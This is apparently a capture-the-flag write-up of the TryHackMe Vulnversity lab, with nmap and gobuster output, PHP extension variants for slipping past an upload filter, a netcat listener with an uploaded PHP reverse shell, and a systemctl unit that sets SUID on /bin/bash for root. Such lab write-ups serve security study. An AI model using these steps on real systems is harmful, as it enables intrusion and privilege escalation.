TryHackMe-Vulnversity

NMAP

nmap -sC -sV $IPStarting Nmap 7.80 ( https://nmap.org ) at 2020-09-15 20:30 EDT                                                                              [11/18]
Nmap scan report for 10.10.233.54
Host is up (0.17s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 5a:4f:fc:b8:c8:76:1c:b5:85:1c:ac:b2:86:41:1c:5a (RSA)
| 256 ac:9d:ec:44:61:0c:28:85:00:88:e9:68:e9:d0:cb:3d (ECDSA)
|_ 256 30:50:cb:70:5a:86:57:22:cb:52:d9:36:34:dc:a5:58 (ED25519)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
3128/tcp open http-proxy Squid http proxy 3.5.12
|_http-server-header: squid/3.5.12
|_http-title: ERROR: The requested URL could not be retrieved
3333/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Vuln University
Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -7h39m58s, deviation: 2h18m34s, median: -8h59m59s
|_nbstat: NetBIOS name: VULNUNIVERSITY, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: vulnuniversity
| NetBIOS computer name: VULNUNIVERSITY\x00
| Domain name: \x00
| FQDN: vulnuniversity
|_ System time: 2020-09-15T11:30:49-04:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-09-15T15:30:50
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 45.13 seconds

Dirbuster

gobuster dir -u http://10.10.233.54:3333 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txtGobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.233.54:3333
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/09/15 20:40:18 Starting gobuster
===============================================================
/images (Status: 301)
/css (Status: 301)
/js (Status: 301)
/fonts (Status: 301)
/internal (Status: 301)

Burpsuite

.php
.php3
.php4
.php5
.phphtml
.phpgif
.gifphp
nc -lvp 5555
http://10.10.233.54:3333/internal/uploads/php-reverse-shell.phtml

Stabilize Shell

Privilege Escalation

TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "chmod +s /bin/bash"
[Install]
WantedBy=multi-user.target' > $TF
/bin/systemctl link $TF
/bin/systemctl enable --now $TF

BS CS undergraduate | CTF Player